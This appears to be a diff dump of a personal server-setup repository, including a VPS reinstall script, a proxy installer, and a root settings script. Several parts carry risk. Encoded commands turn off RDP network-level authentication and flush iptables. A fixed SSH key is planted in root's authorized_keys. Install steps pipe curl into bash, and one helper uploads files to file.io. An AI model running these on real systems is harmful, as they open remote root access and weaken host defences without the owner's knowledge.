echo -ne "netsh\0040firewall\0040set\0040portopening\0040protocol\0075ALL\0040port\0075$WinRemote\0040name\0075RDP\0040mode\0075ENABLE\0040scope\0075ALL\0040profile\0075ALL\r\nnetsh\0040firewall\0040set\0040portopening\0040protocol\0075ALL\0040port\0075$WinRemote\0040name\0075RDP\0040mode\0075ENABLE\0040scope\0075ALL\0040profile\0075CURRENT\r\nreg\0040add\0040\0042HKLM\0134SYSTEM\0134CurrentControlSet\0134Control\0134Network\0134NewNetworkWindowOff\0042\0040\0057f\r\nreg\0040add\0040\0042HKLM\0134SYSTEM\0134CurrentControlSet\0134Control\0134Terminal\0040Server\0042\0040\0057v\0040fDenyTSConnections\0040\0057t\0040reg\0137dword\0040\0057d\00400\0040\0057f\r\nreg\0040add\0040\0042HKLM\0134SYSTEM\0134CurrentControlSet\0134Control\0134Terminal\0040Server\0134Wds\0134rdpwd\0134Tds\0134tcp\0042\0040\0057v\0040PortNumber\0040\0057t\0040reg\0137dword\0040\0057d\0040$WinRemote\0040\0057f\r\nreg\0040add\0040\0042HKLM\0134SYSTEM\0134CurrentControlSet\0134Control\0134Terminal\0040Server\0134WinStations\0134RDP\0055Tcp\0042\0040\0057v\0040PortNumber\0040\0057t\0040reg\0137dword\0040\0057d\0040$WinRemote\0040\0057f\r\nreg\0040add\0040\0042HKLM\0134SYSTEM\0134CurrentControlSet\0134Control\0134Terminal\0040Server\0134WinStations\0134RDP\0055Tcp\0042\0040\0057v\0040UserAuthentication\0040\0057t\0040reg\0137dword\0040\0057d\00400\0040\0057f\r\nFOR\0040\0057F\0040\0042tokens\00752\0040delims\0075\0072\0042\0040\0045\0045i\0040in\0040\0050\0047SC\0040QUERYEX\0040TermService\0040\0136\0174FINDSTR\0040\0057I\0040\0042PID\0042\0047\0051\0040do\0040TASKKILL\0040\0057F\0040\0057PID\0040\0045\0045i\r\nFOR\0040\0057F\0040\0042tokens\00752\0040delims\0075\0072\0042\0040\0045\0045i\0040in\0040\0050\0047SC\0040QUERYEX\0040UmRdpService\0040\0136\0174FINDSTR\0040\0057I\0040\0042PID\0042\0047\0051\0040do\0040TASKKILL\0040\0057F\0040\0057PID\0040\0045\0045i\r\nSC\0040START\0040TermService\r\n\r\n" >>'/tmp/boot/net.tmp';
}
echo -ne "\0100ECHO\0040OFF\r\n\r\ncd\0056\0076\0045WINDIR\0045\0134GetAdmin\r\nif\0040exist\0040\0045WINDIR\0045\0134GetAdmin\0040\0050del\0040\0057f\0040\0057q\0040\0042\0045WINDIR\0045\0134GetAdmin\0042\0051\0040else\0040\0050\r\necho\0040CreateObject\0136\0050\0042Shell\0056Application\0042\0136\0051\0056ShellExecute\0040\0042\0045\0176s0\0042\0054\0040\0042\0045\0052\0042\0054\0040\0042\0042\0054\0040\0042runas\0042\0054\00401\0040\0076\0076\0040\0042\0045temp\0045\0134Admin\0056vbs\0042\r\n\0042\0045temp\0045\0134Admin\0056vbs\0042\r\ndel\0040\0057f\0040\0057q\0040\0042\0045temp\0045\0134Admin\0056vbs\0042\r\nexit\0040\0057b\00402\0051\r\n\r\n" >'/tmp/boot/net.tmp';
[[ "$setNet" == '1' ]] && WinNoDHCP;
[[ "$setNet" == '0' ]] && [[ "$AutoNet" == '0' ]] && WinNoDHCP;
[[ "$setRDP" == '1' ]] && [[ -n "$WinRemote" ]] && WinRDP
echo -ne "ECHO\0040SELECT\0040VOLUME\0075\0045\0045SystemDrive\0045\0045\0040\0076\0040\0042\0045SystemDrive\0045\0134diskpart\0056extend\0042\r\nECHO\0040EXTEND\0040\0076\0076\0040\0042\0045SystemDrive\0045\0134diskpart\0056extend\0042\r\nSTART\0040/WAIT\0040DISKPART\0040\0057S\0040\0042\0045SystemDrive\0045\0134diskpart\0056extend\0042\r\nDEL\0040\0057f\0040\0057q\0040\0042\0045SystemDrive\0045\0134diskpart\0056extend\0042\r\n\r\n" >>'/tmp/boot/net.tmp';
echo -ne "cd\0040\0057d\0040\0042\0045ProgramData\0045\0057Microsoft\0057Windows\0057Start\0040Menu\0057Programs\0057Startup\0042\r\ndel\0040\0057f\0040\0057q\0040net\0056bat\r\n\r\n\r\n" >>'/tmp/boot/net.tmp';
iconv -f 'UTF-8' -t 'GBK' '/tmp/boot/net.tmp' -o '/tmp/boot/net.bat'
rm -rf '/tmp/boot/net.tmp'
echo "$DDURL" |grep -q '^https://'
[[ $? -eq '0' ]] && {
echo -ne '\nAdd ssl support...\n'
[[ -n $SSL_SUPPORT ]] && {
wget --no-check-certificate -qO- "$SSL_SUPPORT" |tar -x
[[ ! -f /tmp/boot/usr/bin/wget ]] && echo 'Error! SSL_SUPPORT.' && exit 1;
sed -i 's/wget\ -qO-/\/usr\/bin\/wget\ --no-check-certificate\ --retry-connrefused\ --tries=7\ --continue\ -qO-/g' /tmp/boot/preseed.cfg
[[ $? -eq '0' ]] && echo -ne 'Success! \n\n'
} || {
echo -ne 'Not ssl support package! \n\n';
exit 1;
}
}
}
[[ "$ddMode" == '0' ]] && {
sed -i '/anna-install/d' /tmp/boot/preseed.cfg
sed -i 's/wget.*\/sbin\/reboot\;\ //g' /tmp/boot/preseed.cfg
}
elif [[ "$linux_relese" == 'centos' ]]; then
cat >/tmp/boot/ks.cfg<<EOF
#platform=x86, AMD64, or Intel EM64T
firewall --enabled --ssh
install
url --url="$LinuxMirror/$DIST/os/$VER/"
rootpw --iscrypted $myPASSWORD
auth --useshadow --passalgo=sha512
firstboot --disable
lang en_US
keyboard us
selinux --disabled
logging --level=info
reboot
text
unsupported_hardware
vnc
skipx
timezone --isUtc Asia/Hong_Kong
#ONDHCP network --bootproto=dhcp --onboot=on
#NODHCP network --bootproto=static --ip=$IPv4 --netmask=$MASK --gateway=$GATE --nameserver=8.8.8.8 --onboot=on
bootloader --location=mbr --append="rhgb quiet crashkernel=auto"
zerombr
clearpart --all --initlabel
autopart
%packages
@base
%end
%post --interpreter=/bin/bash
rm -rf /root/anaconda-ks.cfg
rm -rf /root/install.*log
%end
EOF
[[ "$setNet" == '0' ]] && [[ "$AutoNet" == '1' ]] && {
sed -i 's/#ONDHCP\ //g' /tmp/boot/ks.cfg
} || {
sed -i 's/#NODHCP\ //g' /tmp/boot/ks.cfg
}
[[ "$UNKNOWHW" == '1' ]] && sed -i 's/^unsupported_hardware/#unsupported_hardware/g' /tmp/boot/ks.cfg
[[ "$(echo "$DIST" |grep -o '^[0-9]\{1\}')" == '5' ]] && sed -i '0,/^%end/s//#%end/' /tmp/boot/ks.cfg
fi
find . | cpio -H newc --create --verbose | gzip -9 > /boot/initrd.img;
rm -rf /tmp/boot;
}
[[ "$inVNC" == 'y' ]] && {
sed -i '$i\\n' $GRUBDIR/$GRUBFILE
sed -i '$r /tmp/grub.new' $GRUBDIR/$GRUBFILE
echo -e "\n\033[33m\033[04mIt will reboot! \nPlease connect VNC! \nSelect\033[0m\033[32m Install OS [$DIST $VER] \033[33m\033[4mto install system.\033[04m\n\n\033[31m\033[04mThere is some information for you.\nDO NOT CLOSE THE WINDOW! \033[0m\n"
echo -e "\033[35mIPv4\t\tNETMASK\t\tGATEWAY\033[0m"
echo -e "\033[36m\033[04m$IPv4\033[0m\t\033[36m\033[04m$MASK\033[0m\t\033[36m\033[04m$GATE\033[0m\n\n"
read -n 1 -p "Press Enter to reboot..." INP
[[ "$INP" != '' ]] && echo -ne '\b \n\n';
}
chown root:root $GRUBDIR/$GRUBFILE
chmod 444 $GRUBDIR/$GRUBFILE
if [[ "$loaderMode" == "0" ]]; then
sleep 3 && reboot >/dev/null 2>&1
else
rm -rf "$HOME/loader"
mkdir -p "$HOME/loader"
cp -rf "/boot/initrd.img" "$HOME/loader/initrd.img"
cp -rf "/boot/vmlinuz" "$HOME/loader/vmlinuz"
[[ -f "/boot/initrd.img" ]] && rm -rf "/boot/initrd.img"
[[ -f "/boot/vmlinuz" ]] && rm -rf "/boot/vmlinuz"
echo && ls -AR1 "$HOME/loader"
fi

0
nubia/LICENSE/cns Normal file
View File

3
nubia/README.md Normal file
View File

@ -0,0 +1,3 @@
# nubia
#搭建脚本: curl -L https://raw.githubusercontent.com/FH0/nubia/master/Backstage.sh | bash

Binary file not shown.

149
nubia/amy.sh Normal file
View File

@ -0,0 +1,149 @@
#!/bin/bash
#==========================#
###### Author: CuteBi ######
#==========================#
#Stop amy4Server & delete amy4Server files.
Delete() {
systemctl disable amy4Server.service
rm -f /etc/init.d/amy4Server /lib/systemd/system/amy4Server.service
if [ -f "${amy4Server_install_dir:=/usr/local/amy4Server}/amy4Server.init" ]; then
"$amy4Server_install_dir"/amy4Server.init stop
rm -rf "$amy4Server_install_dir"
fi
}
#Print error message and exit.
Error() {
echo $echo_e_arg "\033[41;37m$1\033[0m"
echo -n "remove amy4Server?[y]: "
read remove
echo "$remove"|grep -qi 'n' || Delete
exit 1
}
#Make amy4Server start cmd
Config() {
[ -n "$amy4Server_install_dir" ] && return #Variables come from the environment
echo -n "1 请输入my4Server服务端口(如果不用请留空): "
read amy4Server_port
echo -n "2请输入my4Server授权码(默认为空): "
read amy4Server_verify_key
echo -n "3请输入my4Server授权账号(Secret): "
read amy4Server_auth_secret
echo -n "4请输入my4Server账号密码(Secret): "
read amy4Server_secret_password
echo -n "5 请设置是否开启PV6[n]: "
read ipv6_support
echo -n "6 请输入amy4Server安装目录(默认/usr/local/amy4Server): " #默认目录
read amy4Server_install_dir
echo "${amy4Server_install_dir:=/usr/local/amy4Server}"|grep -q '^/' || amy4Server_install_dir="$PWD/$amy4Server_install_dir"
echo "$ipv6_support"|grep -qi '^y' && ipv6_support="false" || ipv6_support="false"
}
GetAbi() {
machine=`uname -m`
#mips[...] use 'le' version
if echo "$machine"|grep -q 'mips64'; then
shContent=`cat "$SHELL"`
[ "${shContent:5:1}" = `echo $echo_e_arg "\x01"` ] && machine='mips64le' || machine='mips64'
elif echo "$machine"|grep -q 'mips'; then
shContent=`cat "$SHELL"`
[ "${shContent:5:1}" = `echo $echo_e_arg "\x01"` ] && machine='mipsle' || machine='mips'
elif echo "$machine"|grep -Eq 'i686|i386'; then
machine='386'
elif echo "$machine"|grep -Eq 'armv7|armv6'; then
machine='arm'
elif echo "$machine"|grep -Eq 'armv8|aarch64'; then
machine='arm64'
else
machine='amd64'
fi
}
#install amy4Server files
InstallFiles() {
GetAbi
if echo "$machine" | grep -q '^mips'; then
cat /proc/cpuinfo | grep -qiE 'fpu|neon|vfp|softfp|asimd' || softfloat='_softfloat'
fi
mkdir -p "$amy4Server_install_dir" || Error "Create amy4Server install directory failed."
cd "$amy4Server_install_dir" || exit 1
$download_tool_cmd amy4Server http://api.imiliy.cn/amy4Server/linux_${machine}${softfloat} || Error "amy4Server download failed."
$download_tool_cmd amy4Server.init http://api.imiliy.cn/amy4Server/amy4Server.init || Error "amy4Server.init download failed."
[ -f '/etc/rc.common' ] && rcCommon='/etc/rc.common'
sed -i "s~#!/bin/sh~#!$SHELL $rcCommon~" amy4Server.init
sed -i "s~\[amy4Server_install_dir\]~$amy4Server_install_dir~g" amy4Server.init
sed -i "s~\[amy4Server_tcp_port_list\]~$amy4Server_port~g" amy4Server.init
ln -s "$amy4Server_install_dir/amy4Server.init" /etc/init.d/amy4Server
cat >amy4Server.json <<-EOF
{
"PidFile": "${amy4Server_install_dir}/run.pid",
"ListenAddr": ":${amy4Server_port}",
"ClientKey": "${amy4Server_verify_key}",
"IPV6Support": ${ipv6_support},
"UpdateAddr": {
"authUser": "${amy4Server_auth_secret}",
"authPass": "${amy4Server_secret_password}"
}
}
EOF
chmod -R +rwx "$amy4Server_install_dir" /etc/init.d/amy4Server
if type systemctl && [ -z "$(systemctl --failed|grep -q 'Host is down')" ]; then
$download_tool_cmd /lib/systemd/system/amy4Server.service http://api.imiliy.cn/amy4Server/amy4Server.service || Error "amy4Server.service download failed."
chmod +rwx /lib/systemd/system/amy4Server.service
sed -i "s~\[amy4Server_install_dir\]~$amy4Server_install_dir~g" /lib/systemd/system/amy4Server.service
systemctl daemon-reload
fi
}
#install initialization
InstallInit() {
echo -n "make a update?[n]: "
read update
PM=`type apt-get || type yum`
PM=`echo "$PM" | grep -o '/.*'`
echo "$update"|grep -qi 'y' && $PM -y update
$PM -y install curl wget unzip
type curl && download_tool_cmd='curl -L -ko' || download_tool_cmd='wget --no-check-certificate -O'
}
Install() {
Config
Delete >/dev/null 2>&1
InstallInit
InstallFiles
"${amy4Server_install_dir}/amy4Server.init" start|grep -q FAILED && Error "amy4Server install failed."
type systemctl && [ -z "$(systemctl --failed|grep -q 'Host is down')" ] && systemctl restart amy4Server
echo $echo_e_arg \
"\033[44;37mamy4Server install success.\033[0;34m
\r amy4Server server port:\033[35G${amy4Server_port}
\r amy4Server verify key:\033[35G${amy4Server_verify_key}
\r amy4Server auth secret:\033[35G${amy4Server_auth_secret}
\r`[ -f /etc/init.d/amy4Server ] && /etc/init.d/amy4Server usage || \"$amy4Server_install_dir/amy4Server.init\" usage`\033[0m"
}
Uninstall() {
if [ -z "$amy4Server_install_dir" ]; then
echo -n "Please input amy4Server install directory(default is /usr/local/amy4Server): "
read amy4Server_install_dir
fi
Delete >/dev/null 2>&1 && \
echo $echo_e_arg "\n\033[44;37mamy4Server uninstall success.\033[0m" || \
echo $echo_e_arg "\n\033[41;37mamy4Server uninstall failed.\033[0m"
}
#script initialization
ScriptInit() {
emulate bash 2>/dev/null #zsh emulation mode
if echo -e ''|grep -q 'e'; then
echo_e_arg=''
echo_E_arg=''
else
echo_e_arg='-e'
echo_E_arg='-E'
fi
}
ScriptInit
echo $*|grep -qi uninstall && Uninstall || Install

BIN
nubia/busybox.tar.gz Normal file

Binary file not shown.

BIN
nubia/frp.zip Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
nubia/m_stn/m-stn11.zip Normal file

Binary file not shown.

BIN
nubia/m_stn/m-stn12.zip Normal file

Binary file not shown.

BIN
nubia/m_stn/m_stn1.zip Normal file

Binary file not shown.

BIN
nubia/m_stn/m_stn2.zip Normal file

Binary file not shown.

BIN
nubia/m_stn/m_stn3.zip Normal file

Binary file not shown.

BIN
nubia/m_stn/m_stn4.zip Normal file

Binary file not shown.

BIN
nubia/m_stn/m_stn5.zip Normal file

Binary file not shown.

BIN
nubia/m_stn/m_stn6.zip Normal file

Binary file not shown.

BIN
nubia/m_stn/m_stn7.zip Normal file

Binary file not shown.

BIN
nubia/m_stn/m_stn8.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-0.2.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-0.3.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-0.4.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-0.5.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-0.6.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-0.8.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-0.9.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-1.0.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-1.1.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-1.2.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-1.3.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-1.4.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-1.5.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-1.6.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-1.7.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/m_ygk-1.8.zip Normal file

Binary file not shown.

BIN
nubia/m_ygk/ygk教程.docx Normal file

Binary file not shown.

Binary file not shown.

127
nubia/nubia/LICENSE Normal file
View File

@ -0,0 +1,127 @@
木兰宽松许可证, 第2版
木兰宽松许可证, 第2版
2020年1月 http://license.coscl.org.cn/MulanPSL2
您对“软件”的复制、使用、修改及分发受木兰宽松许可证第2版“本许可证”的如下条款的约束
0. 定义
“软件”是指由“贡献”构成的许可在“本许可证”下的程序和相关文档的集合。
“贡献”是指由任一“贡献者”许可在“本许可证”下的受版权法保护的作品。
“贡献者”是指将受版权法保护的作品许可在“本许可证”下的自然人或“法人实体”。
“法人实体”是指提交贡献的机构及其“关联实体”。
“关联实体”是指对“本许可证”下的行为方而言控制、受控制或与其共同受控制的机构此处的控制是指有受控方或共同受控方至少50%直接或间接的投票权、资金或其他有价证券。
1. 授予版权许可
每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的版权许可,您可以复制、使用、修改、分发其“贡献”,不论修改与否。
2. 授予专利许可
每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的(根据本条规定撤销除外)专利许可,供您制造、委托制造、使用、许诺销售、销售、进口其“贡献”或以其他方式转移其“贡献”。前述专利许可仅限于“贡献者”现在或将来拥有或控制的其“贡献”本身或其“贡献”与许可“贡献”时的“软件”结合而将必然会侵犯的专利权利要求,不包括对“贡献”的修改或包含“贡献”的其他结合。如果您或您的“关联实体”直接或间接地,就“软件”或其中的“贡献”对任何人发起专利侵权诉讼(包括反诉或交叉诉讼)或其他专利维权行动,指控其侵犯专利权,则“本许可证”授予您对“软件”的专利许可自您提起诉讼或发起维权行动之日终止。
3. 无商标许可
“本许可证”不提供对“贡献者”的商品名称、商标、服务标志或产品名称的商标许可但您为满足第4条规定的声明义务而必须使用除外。
4. 分发限制
您可以在任何媒介中将“软件”以源程序形式或可执行形式重新分发,不论修改与否,但您必须向接收者提供“本许可证”的副本,并保留“软件”中的版权、商标、专利及免责声明。
5. 免责声明与责任限制
“软件”及其中的“贡献”在提供时不带任何明示或默示的担保。在任何情况下,“贡献者”或版权所有者不对任何人因使用“软件”或其中的“贡献”而引发的任何直接或间接损失承担责任,不论因何种原因导致或者基于何种法律理论,即使其曾被建议有此种损失的可能性。
6. 语言
“本许可证”以中英文双语表述,中英文版本具有同等法律效力。如果中英文版本存在任何冲突不一致,以中文版为准。
条款结束
如何将木兰宽松许可证第2版应用到您的软件
如果您希望将木兰宽松许可证第2版应用到您的新软件为了方便接收者查阅建议您完成如下三步
1 请您补充如下声明中的空白,包括软件名、软件的首次发表年份以及您作为版权人的名字;
2 请您在软件包的一级目录下创建以“LICENSE”为名的文件将整个许可证文本放入该文件中
3 请将如下声明文本放入每个源文件的头部注释中。
Copyright (c) [Year] [name of copyright holder]
[Software Name] is licensed under Mulan PSL v2.
You can use this software according to the terms and conditions of the Mulan PSL v2.
You may obtain a copy of Mulan PSL v2 at:
http://license.coscl.org.cn/MulanPSL2
THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
See the Mulan PSL v2 for more details.
Mulan Permissive Software LicenseVersion 2
Mulan Permissive Software LicenseVersion 2 (Mulan PSL v2)
January 2020 http://license.coscl.org.cn/MulanPSL2
Your reproduction, use, modification and distribution of the Software shall be subject to Mulan PSL v2 (this License) with the following terms and conditions:
0. Definition
Software means the program and related documents which are licensed under this License and comprise all Contribution(s).
Contribution means the copyrightable work licensed by a particular Contributor under this License.
Contributor means the Individual or Legal Entity who licenses its copyrightable work under this License.
Legal Entity means the entity making a Contribution and all its Affiliates.
Affiliates means entities that control, are controlled by, or are under common control with the acting entity under this License, control means direct or indirect ownership of at least fifty percent (50%) of the voting power, capital or other securities of controlled or commonly controlled entity.
1. Grant of Copyright License
Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable copyright license to reproduce, use, modify, or distribute its Contribution, with modification or not.
2. Grant of Patent License
Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable (except for revocation under this Section) patent license to make, have made, use, offer for sale, sell, import or otherwise transfer its Contribution, where such patent license is only limited to the patent claims owned or controlled by such Contributor now or in future which will be necessarily infringed by its Contribution alone, or by combination of the Contribution with the Software to which the Contribution was contributed. The patent license shall not apply to any modification of the Contribution, and any other combination which includes the Contribution. If you or your Affiliates directly or indirectly institute patent litigation (including a cross claim or counterclaim in a litigation) or other patent enforcement activities against any individual or entity by alleging that the Software or any Contribution in it infringes patents, then any patent license granted to you under this License for the Software shall terminate as of the date such litigation or activity is filed or taken.
3. No Trademark License
No trademark license is granted to use the trade names, trademarks, service marks, or product names of Contributor, except as required to fulfill notice requirements in Section 4.
4. Distribution Restriction
You may distribute the Software in any medium with or without modification, whether in source or executable forms, provided that you provide recipients with a copy of this License and retain copyright, patent, trademark and disclaimer statements in the Software.
5. Disclaimer of Warranty and Limitation of Liability
THE SOFTWARE AND CONTRIBUTION IN IT ARE PROVIDED WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED. IN NO EVENT SHALL ANY CONTRIBUTOR OR COPYRIGHT HOLDER BE LIABLE TO YOU FOR ANY DAMAGES, INCLUDING, BUT NOT LIMITED TO ANY DIRECT, OR INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING FROM YOUR USE OR INABILITY TO USE THE SOFTWARE OR THE CONTRIBUTION IN IT, NO MATTER HOW ITS CAUSED OR BASED ON WHICH LEGAL THEORY, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
6. Language
THIS LICENSE IS WRITTEN IN BOTH CHINESE AND ENGLISH, AND THE CHINESE VERSION AND ENGLISH VERSION SHALL HAVE THE SAME LEGAL EFFECT. IN THE CASE OF DIVERGENCE BETWEEN THE CHINESE AND ENGLISH VERSIONS, THE CHINESE VERSION SHALL PREVAIL.
END OF THE TERMS AND CONDITIONS
How to Apply the Mulan Permissive Software LicenseVersion 2 (Mulan PSL v2) to Your Software
To apply the Mulan PSL v2 to your work, for easy identification by recipients, you are suggested to complete following three steps:
i Fill in the blanks in following statement, including insert your software name, the year of the first publication of your software, and your name identified as the copyright owner;
ii Create a file named “LICENSE” which contains the whole context of this License in the first directory of your software package;
iii Attach the statement to the appropriate annotated syntax at the beginning of each source file.
Copyright (c) [Year] [name of copyright holder]
[Software Name] is licensed under Mulan PSL v2.
You can use this software according to the terms and conditions of the Mulan PSL v2.
You may obtain a copy of Mulan PSL v2 at:
http://license.coscl.org.cn/MulanPSL2
THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
See the Mulan PSL v2 for more details.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

168
nubia/person_settings.sh Normal file
View File

@ -0,0 +1,168 @@
#!/bin/bash
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
handle_sshd_config() {
mkdir -p /root/.ssh
chmod 700 /root/.ssh
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuwLr5N5CxF51tEOXtJJ3Qr2+uY7lVtZfWNwN59yewWUhc6p77CiWj917TrOgrgGMIIgb7AXU0vrdNr2IFJ0fNdyF9S9dfEU8+KAqr+FUH7ywQ8b2sktbqTyVLEZ/lVcd7/+KPxFIP7L7UILqEIIx0rGPVAax8UEwLtMlJ1fakPL98UMTx94hQ2ZW8LW6MJsKd2RWoMkbsn0Joif3SiUGCeGcY8IDzQC8xUZQPFJxVkHqj5Z4iDqms8TNNaKYp7nirTTGHiFW0x7uSAoBxXqKur+c0JLc3ABi5FIlC3+yVtwVr7l4/eHK7bRb/iERoMNEyVF22U5Sha41NQZquDitF root@localhost' >/root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
sed -i '/ChallengeResponseAuthentication/d' /etc/ssh/sshd_config
sed -i '/PasswordAuthentication/d' /etc/ssh/sshd_config
sed -i '/Port /d' /etc/ssh/sshd_config
echo 'ChallengeResponseAuthentication no' >>/etc/ssh/sshd_config
echo 'PasswordAuthentication no' >>/etc/ssh/sshd_config
echo 'Port 22' >>/etc/ssh/sshd_config
#关闭 IP 混淆
grep -q 'HashKnownHosts' /etc/ssh/ssh_config &&
sed -i '/HashKnownHosts/c HashKnownHosts no' /etc/ssh/ssh_config
systemctl restart sshd
service sshd restart
} >/dev/null 2>&1
person_bin() {
mkdir -p /usr/xbin
echo 'IyEvYmluL2Jhc2gKCmZvciBmaWxlIGluICQobHMgL3Vzci94YmluKTtkbwoJZWNobyAiICAgIGVjaG8gJyQoY2F0IC91c3IveGJpbi8kZmlsZSB8IGJhc2U2NCB8IHRyIC1kICdcbicpJyB8IGJhc2U2NCAtZCA+L3Vzci94YmluLyRmaWxlIgpkb25lCg==' | base64 -d >/usr/xbin/bak_xbin
echo 'IyEvYmluL2Jhc2gKCgpjZCAvcm9vdC9GSDAuZ2l0aHViLmlvCmdpdCBhZGQgLS1hbGwKZ2l0IGNvbW1pdCAtbSAidXBkYXRlIgpnaXQgcHVzaCAtdSBvcmlnaW4gbWFzdGVyCg==' | base64 -d >/usr/xbin/bksc
echo 'IyEvYmluL2Jhc2gKCmlmIFsgLWQgIi9jaHJvb3QiIF07dGhlbgogICAgaWYgWyAteiAiJChscyAvY2hyb290L2RldikiIF07dGhlbgogICAgICAgIG1vdW50IC0tcmJpbmQgL2RldiAvY2hyb290L2RldgogICAgICAgIG1vdW50IC0tcmJpbmQgL3N5cyAvY2hyb290L3N5cwogICAgICAgIG1vdW50IC0tcmJpbmQgL3Byb2MgL2Nocm9vdC9wcm9jCiAgICAgICAgbW91bnQgLXQgdG1wZnMgdG1wZnMgL2Nocm9vdC90bXAKICAgIGZpCiAgICBjaHJvb3QgL2Nocm9vdApmaQo=' | base64 -d >/usr/xbin/chgcc
echo 'IyEvYmluL2Jhc2gKCmlucHV0PSIke0A6LSh9IgpZRUxMT1c9IhtbM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XFxcXHxnJyAkMQogICAgc2VkIC1pICdzfFwkfFxcJHxnJyAkMQogICAgc2VkIC1pICdzfCJ8XFxcInxnJyAkMQogICAgc2VkIC1pICc6YTtOOyQhYmE7c3xcbnxcXG58ZycgJDEKCiAgICBoZWFkPSQoYXdrIC1GICdcXFxcbicgJ3twcmludCAkMX0nICQxKQogICAgc2VkIC1pICdzfF4nJGhlYWQnfHByaW50ZiAiJXN8JyAkMQogICAgc2VkIC1pICJzfFwkfFwiICckaGVhZCd8IiAkMQoKICAgIGNhdCAkMQpmaQo=' | base64 -d >/usr/xbin/ee
echo 'IyEvYmluL2Jhc2gKCgpjZCAvcm9vdC9naXRodWIKZ2l0IGFkZCAtLWFsbApnaXQgY29tbWl0IC1tICJ1cGRhdGUiCmdpdCBwdXNoIG9yaWdpbiBGSDA6bWFzdGVyCg==' | base64 -d >/usr/xbin/gitsc
echo 'IyEvYmluL2Jhc2gKCmlwdGFibGVzIC1GCmlwdGFibGVzIC1YCmlwdGFibGVzIC1aCgo=' | base64 -d >/usr/xbin/iff
echo 'IyEvYmluL2Jhc2gKCmlwdGFibGVzIC1TCg==' | base64 -d >/usr/xbin/ifs
echo 'IyEvYmluL2Jhc2gKCmlwdGFibGVzIC10IG1hbmdsZSAtRgppcHRhYmxlcyAtdCBtYW5nbGUgLVgKaXB0YWJsZXMgLXQgbWFuZ2xlIC1aCgo=' | base64 -d >/usr/xbin/imf
echo 'IyEvYmluL2Jhc2gKCmlwdGFibGVzIC10IG1hbmdsZSAtUwo=' | base64 -d >/usr/xbin/ims
echo 'IyEvYmluL2Jhc2gKCmlwdGFibGVzIC10IG5hdCAtRgppcHRhYmxlcyAtdCBuYXQgLVgKaXB0YWJsZXMgLXQgbmF0IC1aCgo=' | base64 -d >/usr/xbin/inf
echo 'IyEvYmluL2Jhc2gKCmlwdGFibGVzIC10IG5hdCAtUwo=' | base64 -d >/usr/xbin/ins
echo 'IyEvYmluL2Jhc2gKCmlwdGFibGVzIC10IHJhdyAtRgpp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xsIDI+JjEK' | base64 -d >/usr/xbin/rd
echo 'IyEvYmluL2Jhc2gKCgpPTEQ9JDEKUkVQTEFDRT0kMgp6aXBfZmlsZT0kKGxzICouemlwIDI+L2Rldi9udWxsKQoKZm9yIHVuemlwX2ZpbGUgaW4gJHppcF9maWxlO2RvCiAgICBybSAtcmYgJHt1bnppcF9maWxlJS56aXB9CiAgICB1bnppcCAtcSAtbyAkdW56aXBfZmlsZSAtZCAke3VuemlwX2ZpbGUlLnppcH0KZG9uZQoKc2VkIC1pICJzfCRPTER8JFJFUExBQ0V8ZyIgJChncmVwIC1ybCAiJE9MRCIgLikKCmZvciByZXppcF9maWxlIGluICR6aXBfZmlsZTtkbwogICAgY2QgJHtyZXppcF9maWxlJS56aXB9CiAgICBybSAtZiAuLi8kcmV6aXBfZmlsZQogICAgemlwIC1xIC1yIC4uLyRyZXppcF9maWxlICoKICAgIGNkIC4uCmRvbmUKCmZvciBybV9maWxlIGluICR6aXBfZmlsZTtkbwogICAgcm0gLXJmICR7cm1fZmlsZSUuemlwfQpkb25lCgo=' | base64 -d >/usr/xbin/spsed
echo 'IyEvYmluL2Jhc2gKCmZvciBmaWxlIGluICRAO2RvCgljdXJsIC1zTCAtRiAiZmlsZT1AJGZpbGUiIGh0dHBzOi8vZmlsZS5pbyB8IGF3ayAtRiAnIicgJ3twcmludCAkMTB9Jwpkb25lCg==' | base64 -d >/usr/xbin/uf
chmod +x -R /usr/xbin
}
rc_local() {
command -v systemctl >/dev/null || return
